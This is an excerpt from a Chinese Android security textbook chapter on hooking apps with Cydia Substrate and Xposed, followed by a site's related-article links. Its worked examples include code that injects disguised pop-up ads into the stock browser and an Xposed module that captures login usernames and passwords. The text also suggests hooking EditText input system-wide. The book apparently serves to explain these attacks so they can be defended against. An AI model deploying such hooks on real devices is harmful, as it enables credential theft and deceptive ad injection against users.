《Android安全技术揭秘与防范》—第8章8.3节HookAndroid应用

简介:

本节书摘来自异步社区《Android安全技术揭秘与防范》一书中的第8章8.3节HookAndroid应用,作者周圣韬,更多章节内容可以访问云栖社区“异步社区”公众号查看。

8.3 HookAndroid应用
前面我们介绍过Cydiasubstrate框架提供在Java层Hook的能力,其中主要是提供了三个比较重要的方法,MS.hookClassLoad、MS.hookMethod、MS.moveUnderClassLoader。三个方法的具体介绍如表8-2所示。


c458af5030c93a8020cdc38a31fabcd248ad3c24

几个方法的具体参数与返回值,我们可以看如下的方法具体定义。

* Hook一个指定的Class
 * 
 * @paramname Class的包名+类名,如android.content.res.Resources
 * @paramhook 成功Hook一个Class后的回调
 */
voidhookClassLoad(String name, MS.ClassLoadHook hook);
/**
 * Hook一个指定的方法,并替换方法中的代码
 * 
 * @param_class Hook的calss
 * @parammember Hook class的方法参数
 * @paramhook 成功Hook方法后的回调
 * @paramold Hook前方法,类似C中的方法指针
 */
voidhookMethod(Class _class, Member member, MS.MethodHook hook, MS.MethodPointer old);
/**
 * Hook一个指定的方法,并替换方法中的代码
 * 
 * @param_class Hook的calss
 * @parammember Hook class的方法参数
 * @paramalteration
 */
voidhookMethod(Class _class, Member member, MS.MethodAlteration alteration);
/**
 * 使用一个ClassLoader重载一个对象
 * 
 * @paramloader 使用的ClassLoader
 * @paramobject 待重载的对象
 * @return重载后的对象
 */
<T>TmoveUnderClassLoader(ClassLoader loader, T object);

8.3.1 尝试Hook系统API
说了这么多我们下面实战一下,如我们希望Hook Android系统中的Resources类,并将系统中的颜色都改为紫罗兰色。思路很简单,我们只需要拿到系统中Resources类的getColor方法,将其返回值做修改即可。

使用substrate来实现分为以下几步。

1.在AndroidManifest.xml文件中配置主入口

需要在AndroidManifest.xml中声明cydia.permission.SUBSTRATE权限,声明substrate的主入口。具体代码如下所示。

<!-- 加入substrate权限 -->
<uses-permission android:name="cydia.permission.SUBSTRATE" />
<application
    android:allowBackup="true"
    android:icon="@drawable/ic_launcher"
    android:label="@string/app_name"
    android:theme="@style/AppTheme" >
<!-- 声明substrate的注入口味Main类 -->
<meta-data
       android:name="com.saurik.substrate.main"
       android:value=".Main" />
</application>
2.新创建主入口Main.Java类

上一步中已经声明了主入口为Main类,所以我们需要在对应的目录下新建一个Main类,且需要实现其initialize方法。具体实现如下:

publicclass {
   /**
    * substrate 初始化后的入口
    */
staticvoidinitialize() {
  }
}
3.Hook系统的Resources,Hook其getColor方法,修改为紫罗兰

使用MS.hookClassLoad方法Hook系统的Resources类,并使用MS.hookMethod方法hook其getColor方法,替换其方法。具体实现如下所示。

importJava.lang.reflect.Method;
importcom.saurik.substrate.MS;
publicclass {
   /**
    * substrate 初始化后的入口
    */
staticvoidinitialize() {
    // hook 系统的 Resources类
    MS.hookClassLoad("android.content.res.Resources", newMS.ClassLoadHook() {
      // 成功hook resources类
publicvoidclassLoaded(Class<?> resources) {
        // 获取 Resources类中的 getColor方法
        Method getColor;
try{
          getColor = resources.getMethod("getColor", Integer.TYPE);
        } catch(NoSuchMethodException e) {
          getColor = null;
        }
if(getColor != null) {
          // Hook前的原方法
finalMS.MethodPointer old = newMS.MethodPointer();
          // hook Resources类中的getColor方法
          MS.hookMethod(resources, getColor, newMS.MethodHook() {
publicObject invoked(Object resources, Object...args) throwsThrowable {
intcolor = (Integer) old.invoke(resources, args);
              // 将所有绿色修改成了紫罗兰色
returncolor & ~0x0000ff00 | 0x00ff0000;
            }
          }, old);
        }
      }
    });
  }
}

4.安装、重启、验证

因为我们的应用是没有Activity,只存在substrate的,所以安装后substrate就会自动地执行了。重启后,我们打开浏览器引用,发现颜色已经改变了,如图8-11所示。

阅读了本例之后,读者们是不是发现使用了CydiaSubstrate框架后我们Hook系统中的一些Java API并不是什么难事?上面的例子我们只是简单地修改了Resources中的getColor方法,并没有涉及到系统与应用的安全。但是,如果开发者直接Hook系统安全方面比较敏感的方法,如TelephonyManager 类中getDeviceId方法、短信相关的方法或一些关键的系统服务中的方法,那么后果是不堪想象的。


88b58ecb9babe0e87590d6c818b2796903b0224e

8.3.2 Hook指定应用注入广告
从上面的例子我们可以看出来,使用Cydiasubstrate框架我们能够任意地Hook系统中的Java API,当然其中也用到了很多的反射机制,那么除了系统中给开发者提供的API以外,我们能否也Hook应用程序中的一些方法呢?答案是肯定的。下面我们就以一个实际的例子讲解一下如何Hook一个应用程序。

下面我们针对Android操作系统的浏览器应用,Hook其首页Activity的onCreate方法(其他方法不一定存在,但是onCreate方法一定会有),并在其中注入我们的广告。根据上面对Cydiasubstrate的介绍,我们有了一个简单的思路。

首先,我们根据某广告平台的规定,在我们的AndroidManifest.xml文件中填入一些广告相关的ID,并且在AndroidManifest.xml文件中填写一些使用Cydiasubstrate相关的配置与权限。当然,我们还会声明一个广告的Activity,并设置此Activity为背景透明的Activity,为什么设置为透明背景的Activity,原理如图8-12所示。


c78e34f95e8ca0b6b0b67bccb7b5d186d22d41f0

其AndroidManifest.xml文件的部分内容如下所示。

<!-- 广告相关的权限 -->
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE" />
<uses-permission android:name="android.permission.READ_PHONE_STATE" />
<uses-permission
android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.GET_TASKS" />
<!-- 加入substrate权限 -->
<uses-permission android:name="cydia.permission.SUBSTRATE" />

<application
  android:allowBackup="true"
  android:icon="@drawable/ic_launcher"
  android:label="@string/app_name"
  android:theme="@style/AppTheme" >

<!-- 广告相关参数 -->
<meta-data
    android:name="App_ID"
    android:value="c62bd976138fa4f2ec853bb408bb38af" />
<meta-data
    android:name="App_PID"
    android:value="DEFAULT" />
<!-- 声明substrate的注入口为Main类 -->
<meta-data
    android:name="com.saurik.substrate.main"
    android:value="com.example.hookad.Main" />

<!-- 透明无动画的广告Activity -->
<activity
    android:name="com.example.hookad.MainActivity"
    android:theme="@android:style/Theme.Translucent.NoTitleBar" >
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<!-- 广告的action -->
<action android:name="com.example.hook.AD" />
</intent-filter>
</activity>
</application>

对于Cydiasubstrate的主入口Main类,依照之前的步骤新建一个包含有initialize方法的Main类。这个时候我们希望使用MS.hookClassLoad方式找到浏览器主页的Activity名称,这里我们在adb shell下使用dumpsys activity命令找到浏览器主页的Activity名称为com.android.browser.BrowserActivity,如图8-13所示。


3587734ec69bdd823bcbe636243df1adda33846f

使用MS.hookClassLoad方法获取了BrowserActivity之后再hook其onCreate方法,在其中启动一个含有广告的Activity。Main类的代码如下所示。

publicclass {

  /**
   * substrate 初始化后的入口
   */
staticvoidinitialize() {

    //Hook 浏览器的主Activity,BrowserActivity
    MS.hookClassLoad("com.android.browser.BrowserActivity", newMS. ClassLoadHook() {
publicvoidclassLoaded(Class<?> resources) {

        Log.e("test", "com.android.browser.BrowserActivity");
        // 获取BrowserActivity的onCreate方法
        Method onCreate;
try{
          onCreate = resources.getMethod("onCreate", Bundle.class);
        } catch(NoSuchMethodException e) {
          onCreate = null;
        }

if(onCreate != null) {
finalMS.MethodPointer old = newMS.MethodPointer();
          // hook onCreate方法
          MS.hookMethod(resources, onCreate, newMS.MethodHook() {
publicObject invoked(Object object, Object...args) throwsThrowable {
              Log.e("test", "show ad");
// 执行Hook前的onCreate方法,保证浏览器正常启动
              Object result = old.invoke(object, args);
// 没有Context
              //执行一个shell启动我们的广告Activity
              CMD.run("am start -a com.example.hook.AD");

returnresult;
            }
          }, old);
        }
      }
    });
  }
}

对于启动的广告MainActivity,在其中会弹出一个插屏广告,当然也可以是其他形式的广告或者浮层,内容比较简单这里不做演示了。对整个项目进行编译,运行。这个时候我们重新启动Android自带的浏览器的时候发现,浏览器会弹出一个广告弹框,如图8-14所示。

从上面的图片我们可以看出来了,之前我们设置插屏广告MainActivity为无标题透明(Theme.Translucent.NoTitleBar)就是为了使弹出来的广告与浏览器融为一体,让用户感觉是浏览器弹出的广告。这也是恶意广告程序为了防止自身被卸载掉的一些通用隐藏手段。

这里演示的注入广告是通过Hook指定的Activity中的onCreate方法来启动一个广告Activity的。当然,这里我们演示的Activity只是简单地弹出了一个广告。如果启动的Activity带有恶意性,如将Activity做成与原Activity一模一样的钓鱼Activity,那么对于移动设备用户来说是极具欺骗性的。


d1d1138512552f275534566f66a5e741a7460af4

8.3.3 App登录劫持
看了上面的两个Hook例子,很多读者应该都能够了解了Hook所带来的巨大危害性,特别是针对一些有目的性的Hook。例如我们常见的登录劫持,就是使用到了Hook技术来完成的。那么这个登录劫持是如何完成的呢?下面我们就具体来看看,一个我们在开发中常见到的登录例子。首先我们看看一个常见的登录界面是什么样子的,图8-15所示是一个常见的登录页面。


3441b6aaea94eb04f31a488042f260251d422de0

其对应的登录流程代码如下所示。
// 登录按钮的onClick事件
mLoginButton.setOnClickListener(newOnClickListener() {

  @Override
  publicvoidonClick(View v) {
  // 获取用户名
    String username = mUserEditText.getText() + "";
//获取密码
    String password = mPasswordEditText.getText() + "";

if(isCorrectInfo(username, password)) {
      Toast.makeText(MainActivity.this, "登录成功!", Toast.LENGTH_LONG).show();
    } else{
      Toast.makeText(MainActivity.this, "登录失败!", Toast.LENGTH_LONG).show();
    }
  }
});

我们会发现,登录界面上面的用户信息都存储在EditText控件上,然后通过用户手动点击“登录”按钮才会将上面的信息发送至服务器端去验证账号与密码是否正确。这样就很简单了,黑客们只需要找到开发者在使用EditText控件的getText方法后进行网络验证的方法,Hook该方法,就能劫持到用户的账户与密码了。具体流程如图8-16所示。


4b2e9a18ef2688680471ecbf03306d67cd4e7bf2

TIPS
 当然,我们也可以仿照上一个例子,做一个一模一样的Activity,再劫持原Activity优先弹出来,达到欺骗用户获取密码的目的。
明白了原理下面我们就实际地操作一次,这里我们选择使用Xposed框架来操作。使用Xposed进行Hook操作主要就是使用到了Xposed中的两个比较重要的方法,handleLoadPackage获取包加载时的回调并拿到其对应的classLoader,findAndHookMethod对指定类的方法进行Hook。它们的详细定义如下所示。

/**
  * 包加载时的回调
   */
  publicvoidhandleLoadPackage(finalLoadPackageParam lpparam)

  /**
   * Xposed提供的Hook方法
   * 
   * @paramclassName 待Hook的Class
   * @paramclassLoader classLoader
   * @parammethodName 待Hook的Method
   * @paramparameterTypesAndCallback hook回调
   * @return
   */
Unhook findAndHookMethod(String className, ClassLoader classLoader, String methodName, Object... parameterTypesAndCallback) 
当然,我们使用Xposed进行Hook也分为如下几个步骤。

1.在AndroidManifest.xml文件中配置插件名称与Api版本号

<application
    android:allowBackup="true"
    android:icon="@drawable/ic_launcher"
    android:label="@string/app_name"
    android:theme="@style/AppTheme" >

<meta-data
      android:name="xposedmodule"
      android:value="true" />
<!-- 模块描述 -->
<meta-data
      android:name="xposeddescription"
      android:value="一个登录劫持的样例" />
<!-- 最低版本号 -->
<meta-data
      android:name="xposedminversion"
      android:value="30" />
</application>

2.新创建一个入口类继承并实现IXposedHookLoadPackage接口

如下操作,我们新建了一个com.example.loginhook.Main的类,并实现IXposedHookLoadPackage接口中的handleLoadPackage方法,将非com.example.login包名的应用过滤掉,即我们只操作包名为com.example.login的应用,如下所示。

publicclass implementsIXposedHookLoadPackage {

  /**
   * 包加载时的回调
   */
publicvoidhandleLoadPackage(finalLoadPackageParam lpparam) throwsThrowable {
    // 将包名不是 com.example.login 的应用剔除掉
if(!lpparam.packageName.equals("com.example.login"))
return;
    XposedBridge.log("Loaded app: " + lpparam.packageName);
  }
}

3.声明主入口路径

需要在assets文件夹中新建一个xposed_init文件,并在其中声明主入口类。如这里我们的主入口类为com.example.loginhook.Main,查看其内容截图如图8-17所示。
screenshot

4.使用findAndHookMethod方法Hook劫持登录信息

这是最重要的一步,我们之前所分析的都需要到这一步进行操作。如我们之前所分析的登录程序,我们需要劫持就是需要Hook其com.example.login.MainActivity中的isCorrectInfo方法。我们使用Xposed提供的findAndHookMethod直接进行MethodHook操作(与Cydia很类似)。在其Hook回调中使用XposedBridge.log方法,将登录的账号密码信息打印至Xposed的日志中。具体操作如下所示。

importstaticde.robv.android.xposed.XposedHelpers.findAndHookMethod;
publicclass implementsIXposedHookLoadPackage {

  /**
   * 包加载时的回调
   */
publicvoidhandleLoadPackage(finalLoadPackageParam lpparam) throwsThrowable {

    // 将包名不是 com.example.login 的应用剔除掉
if(!lpparam.packageName.equals("com.example.login"))
return;
    XposedBridge.log("Loaded app: " + lpparam.packageName);

    // Hook MainActivity中的isCorrectInfo(String,String)方法
findAndHookMethod("com.example.login.MainActivity", lpparam.classLoader, "isCorrectInfo", String.class,
        String.class, newXC_MethodHook() {

          @Override
protectedvoidbeforeHookedMethod(MethodHookParam param) throwsThrowable {
            XposedBridge.log("开始劫持了~");
            XposedBridge.log("参数1 = " + param.args[0]);
            XposedBridge.log("参数2 = " + param.args[1]);
          }

          @Override
protectedvoidafterHookedMethod(MethodHookParam param) throwsThrowable {
            XposedBridge.log("劫持结束了~");
            XposedBridge.log("参数1 = " + param.args[0]);
            XposedBridge.log("参数2 = " + param.args[1]);
          }
        });
  }
}

5.在XposedInstaller中启动我们自定义的模块

编译后安装在Android设备上的模块应用程序不会立即生效,我们需要在XpasedInstaller模块选项中勾选待启用的模块才能让其正常地生效,如图8-18所示。

6.重启验证

重启Android设备,进入XposedInstaller查看日志模块,因为我们之前使用的是XposedBridge.log方法打印log,所以log都会显示在此处。如图8-19所示,我们发现我们需要劫持的账号密码都显示在此处。


e5c87bc2fd7bdf8517357e2ed258a2a0ad5a463d

TIPS
 这里我们是通过逆向分析该登录页面的登录判断调用函数来完成Hook与劫持工作的。有些读者应该想出来了,我们能不能直接对系统中提供给我们的控件EditText(输入框控件)中的getText()方法进行Hook呢?这样我们就能够对系统中所有的输入进行监控劫持了。这里留给大家一个思考,感兴趣的读者可以尝试一下。
相关文章
|
2月前
|
IDE Java 开发工具
深入探索安卓应用开发:从环境搭建到第一个"Hello, World!"应用
本文将引导读者完成安卓应用开发的初步入门,包括安装必要的开发工具、配置开发环境、创建第一个简单的安卓项目,以及解释其背后的一些基本概念。通过一步步的指导和解释,本文旨在为安卓开发新手提供一个清晰、易懂的起点,帮助读者顺利地迈出安卓开发的第一步。
220 65
|
2月前
|
存储 Java Android开发
探索安卓应用开发:构建你的第一个"Hello World"应用
【9月更文挑战第24天】在本文中,我们将踏上一段激动人心的旅程,深入安卓应用开发的奥秘。通过一个简单而经典的“Hello World”项目,我们将解锁安卓应用开发的基础概念和步骤。无论你是编程新手还是希望扩展技能的老手,这篇文章都将为你提供一次实操体验。从搭建开发环境到运行你的应用,每一步都清晰易懂,确保你能顺利地迈出安卓开发的第一步。让我们开始吧,探索如何将一行简单的代码转变为一个功能齐全的安卓应用!
|
11天前
|
JSON Java Android开发
探索安卓开发之旅:打造你的第一个天气应用
【10月更文挑战第30天】在这个数字时代,掌握移动应用开发技能无疑是进入IT行业的敲门砖。本文将引导你开启安卓开发的奇妙之旅,通过构建一个简易的天气应用来实践你的编程技能。无论你是初学者还是有一定经验的开发者,这篇文章都将成为你宝贵的学习资源。我们将一步步地深入到安卓开发的世界中,从搭建开发环境到实现核心功能,每个环节都充满了发现和创造的乐趣。让我们开始吧,一起在代码的海洋中航行!
|
11天前
|
存储 搜索推荐 Java
打造个性化安卓应用:从设计到实现
【10月更文挑战第30天】在数字化时代,拥有一个个性化的安卓应用不仅能够提升用户体验,还能加强品牌识别度。本文将引导您了解如何从零开始设计和实现一个安卓应用,涵盖用户界面设计、功能开发和性能优化等关键环节。我们将以一个简单的记事本应用为例,展示如何通过Android Studio工具和Java语言实现基本功能,同时确保应用流畅运行。无论您是初学者还是希望提升现有技能的开发者,这篇文章都将为您提供宝贵的见解和实用的技巧。
|
15天前
|
搜索推荐 开发工具 Android开发
打造个性化Android应用:从设计到实现的旅程
【10月更文挑战第26天】在这个数字时代,拥有一个能够脱颖而出的移动应用是成功的关键。本文将引导您了解如何从概念化阶段出发,通过设计、开发直至发布,一步步构建一个既美观又实用的Android应用。我们将探讨用户体验(UX)设计的重要性,介绍Android开发的核心组件,并通过实际案例展示如何克服开发中的挑战。无论您是初学者还是有经验的开发者,这篇文章都将为您提供宝贵的见解和实用的技巧,帮助您在竞争激烈的应用市场中脱颖而出。
|
16天前
|
算法 Java 数据库
Android 应用的主线程在什么情况下会被阻塞?
【10月更文挑战第20天】为了避免主线程阻塞,我们需要合理地设计和优化应用的代码。将耗时操作移到后台线程执行,使用异步任务、线程池等技术来提高应用的并发处理能力。同时,要注意避免出现死循环、不合理的锁使用等问题。通过这些措施,可以确保主线程能够高效地运行,提供流畅的用户体验。
27 2
|
20天前
|
Java API Android开发
安卓应用程序开发的新手指南:从零开始构建你的第一个应用
【10月更文挑战第20天】在这个数字技术不断进步的时代,掌握移动应用开发技能无疑打开了一扇通往创新世界的大门。对于初学者来说,了解并学习如何从无到有构建一个安卓应用是至关重要的第一步。本文将为你提供一份详尽的入门指南,帮助你理解安卓开发的基础知识,并通过实际示例引导你完成第一个简单的应用项目。无论你是编程新手还是希望扩展你的技能集,这份指南都将是你宝贵的资源。
46 5
|
20天前
|
移动开发 Dart 搜索推荐
打造个性化安卓应用:从零开始的Flutter之旅
【10月更文挑战第20天】本文将引导你开启Flutter开发之旅,通过简单易懂的语言和步骤,让你了解如何从零开始构建一个安卓应用。我们将一起探索Flutter的魅力,实现快速开发,并见证代码示例如何生动地转化为用户界面。无论你是编程新手还是希望扩展技能的开发者,这篇文章都将为你提供价值。
|
30天前
|
调度 Android开发 开发者
构建高效Android应用:探究Kotlin多线程优化策略
【10月更文挑战第11天】本文探讨了如何在Kotlin中实现高效的多线程方案,特别是在Android应用开发中。通过介绍Kotlin协程的基础知识、异步数据加载的实际案例,以及合理使用不同调度器的方法,帮助开发者提升应用性能和用户体验。
42 4
|
30天前
|
编解码 Android开发 UED
构建高效Android应用:从内存优化到用户体验
【10月更文挑战第11天】本文探讨了如何通过内存优化和用户体验改进来构建高效的Android应用。介绍了使用弱引用来减少内存占用、懒加载资源以降低启动时内存消耗、利用Kotlin协程进行异步处理以保持UI流畅,以及采用响应式设计适配不同屏幕尺寸等具体技术手段。
47 2